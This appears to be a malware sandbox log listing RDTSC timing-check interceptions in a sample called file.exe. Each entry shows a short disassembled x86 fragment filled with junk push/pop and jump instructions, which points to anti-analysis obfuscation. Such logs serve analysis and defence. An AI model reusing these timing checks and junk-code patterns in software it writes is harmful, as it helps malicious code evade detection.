Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F850 second address: C7F854 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C7F854 second address: C7F866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FB97CFF015Ah 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81E94 second address: C81E98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81E98 second address: C81E9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81E9C second address: C81EAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81EAB second address: C81EB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81F55 second address: C81F62 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81F62 second address: C81F6C instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB97CFF0156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81F6C second address: C81FA7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE921Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a mov dword ptr [ebp+122D26CDh], edi 0x00000010 or esi, 22926E38h 0x00000016 push 00000000h 0x00000018 push 360EFE41h 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FB97CFE9226h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81FA7 second address: C81FAB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C81FAB second address: C82030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c popad 0x0000000d xor dword ptr [esp], 360EFEC1h 0x00000014 push 00000000h 0x00000016 push edi 0x00000017 call 00007FB97CFE9218h 0x0000001c pop edi 0x0000001d mov dword ptr [esp+04h], edi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc edi 0x0000002a push edi 0x0000002b ret 0x0000002c pop edi 0x0000002d ret 0x0000002e jnp 00007FB97CFE922Dh 0x00000034 mov dh, bl 0x00000036 push 00000003h 0x00000038 mov ecx, dword ptr [ebp+122D2A02h] 0x0000003e push 00000000h 0x00000040 clc 0x00000041 mov ch, EDh 0x00000043 push 00000003h 0x00000045 jno 00007FB97CFE921Ch 0x0000004b call 00007FB97CFE9219h 0x00000050 push eax 0x00000051 push edx 0x00000052 jc 00007FB97CFE921Ch 0x00000058 je 00007FB97CFE9216h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82030 second address: C82051 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FB97CFF0156h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jmp 00007FB97CFF015Eh 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82051 second address: C82057 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82057 second address: C8205B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C8205B second address: C82077 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push ecx 0x0000000d jnc 00007FB97CFE9218h 0x00000013 pop ecx 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C82077 second address: C8207F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C822A9 second address: C822CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9225h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FB97CFE9216h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C822CE second address: C822D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C822D2 second address: C822D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C822D8 second address: C822DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3624 second address: CA362A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA362A second address: CA3630 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12E1 second address: CA12F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FB97CFE9216h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA12F0 second address: CA12F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1656 second address: CA166F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9222h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA17CC second address: CA17D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA17D2 second address: CA17DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FB97CFE9216h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA17DD second address: CA17E3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA17E3 second address: CA17E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1AA8 second address: CA1AB5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FB97CFF0156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1AB5 second address: CA1ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1C26 second address: CA1C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1C2C second address: CA1C46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FB97CFE921Fh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1C46 second address: CA1C59 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1DFF second address: CA1E03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1E03 second address: CA1E09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1E09 second address: CA1E1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB97CFE921Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1E1C second address: CA1E4C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FB97CFF0166h 0x0000000c jmp 00007FB97CFF0161h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1F91 second address: CA1FB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB97CFE9223h 0x00000009 jo 00007FB97CFE9216h 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA1FB4 second address: CA1FD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push edx 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jmp 00007FB97CFF0163h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA22B6 second address: CA22BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA22BC second address: CA22D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0164h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA22D4 second address: CA22DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA22DA second address: CA22E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FB97CFF0156h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C98473 second address: C98478 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2750 second address: CA2754 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2754 second address: CA275F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2E79 second address: CA2E84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FB97CFF0156h 0x0000000a pop edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA2E84 second address: CA2EAC instructions: 0x00000000 rdtsc 0x00000002 jo 00007FB97CFE9218h 0x00000008 push esi 0x00000009 pop esi 0x0000000a jg 00007FB97CFE9232h 0x00000010 jmp 00007FB97CFE9226h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA300D second address: CA3016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3016 second address: CA3020 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FB97CFE9216h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3191 second address: CA3195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3195 second address: CA31D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FB97CFE9221h 0x0000000b pushad 0x0000000c jo 00007FB97CFE9216h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jo 00007FB97CFE9216h 0x0000001a popad 0x0000001b jmp 00007FB97CFE9223h 0x00000020 popad 0x00000021 push eax 0x00000022 push eax 0x00000023 push edx 0x00000024 push ebx 0x00000025 pop ebx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA347A second address: CA3485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA3485 second address: CA34A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFE9229h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA808F second address: CA80AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0167h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA80AA second address: CA80B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CA80B0 second address: CA80BE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CAE31C second address: CAE320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB0549 second address: CB054F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB054F second address: CB0553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3302 second address: CB3306 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3442 second address: CB347E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007FB97CFE9224h 0x0000000b pushad 0x0000000c popad 0x0000000d pop edx 0x0000000e jbe 00007FB97CFE9222h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 je 00007FB97CFE921Ah 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB347E second address: CB3486 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB3486 second address: CB348A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB38F4 second address: CB38F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB38F8 second address: CB38FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB466E second address: CB4673 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB505E second address: CB5063 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5108 second address: CB510D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5403 second address: CB5408 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB562F second address: CB563A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FB97CFF0156h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB563A second address: CB5660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a sub dword ptr [ebp+122D2721h], ebx 0x00000010 mov di, A196h 0x00000014 xchg eax, ebx 0x00000015 pushad 0x00000016 jmp 00007FB97CFE921Ch 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5660 second address: CB567A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FB97CFF0156h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007FB97CFF015Ah 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB567A second address: CB5680 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5680 second address: CB5684 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B3E second address: CB5B50 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jne 00007FB97CFE9216h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5B50 second address: CB5BD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF015Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FB97CFF0158h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 mov esi, dword ptr [ebp+122D2AB6h] 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push esi 0x00000030 call 00007FB97CFF0158h 0x00000035 pop esi 0x00000036 mov dword ptr [esp+04h], esi 0x0000003a add dword ptr [esp+04h], 0000001Bh 0x00000042 inc esi 0x00000043 push esi 0x00000044 ret 0x00000045 pop esi 0x00000046 ret 0x00000047 mov edi, dword ptr [ebp+122D26DBh] 0x0000004d or dword ptr [ebp+122D24AFh], eax 0x00000053 push 00000000h 0x00000055 sub dword ptr [ebp+122D2684h], edx 0x0000005b push eax 0x0000005c pushad 0x0000005d push eax 0x0000005e push edx 0x0000005f jmp 00007FB97CFF015Dh 0x00000064 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB5BD5 second address: CB5BD9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB650C second address: CB6517 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB6517 second address: CB651D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7B31 second address: CB7B3B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7B3B second address: CB7B3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB7B3F second address: CB7B74 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB97CFF0163h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB97CFF0169h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9260 second address: CB9264 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9264 second address: CB9268 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8FA6 second address: CB8FAA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9268 second address: CB92A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add dword ptr [ebp+122D272Fh], esi 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007FB97CFF0158h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 00000018h 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2E22h], edi 0x00000034 push eax 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB8FAA second address: CB8FB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB92A9 second address: CB92AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB92AD second address: CB92B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CB9998 second address: CB99BC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a jmp 00007FB97CFF0163h 0x0000000f jng 00007FB97CFF0156h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBA698 second address: CBA69E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CBDAE1 second address: CBDB06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FB97CFF0156h 0x0000000a jmp 00007FB97CFF015Bh 0x0000000f jmp 00007FB97CFF015Fh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: CC0B8E second address: CC0B92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
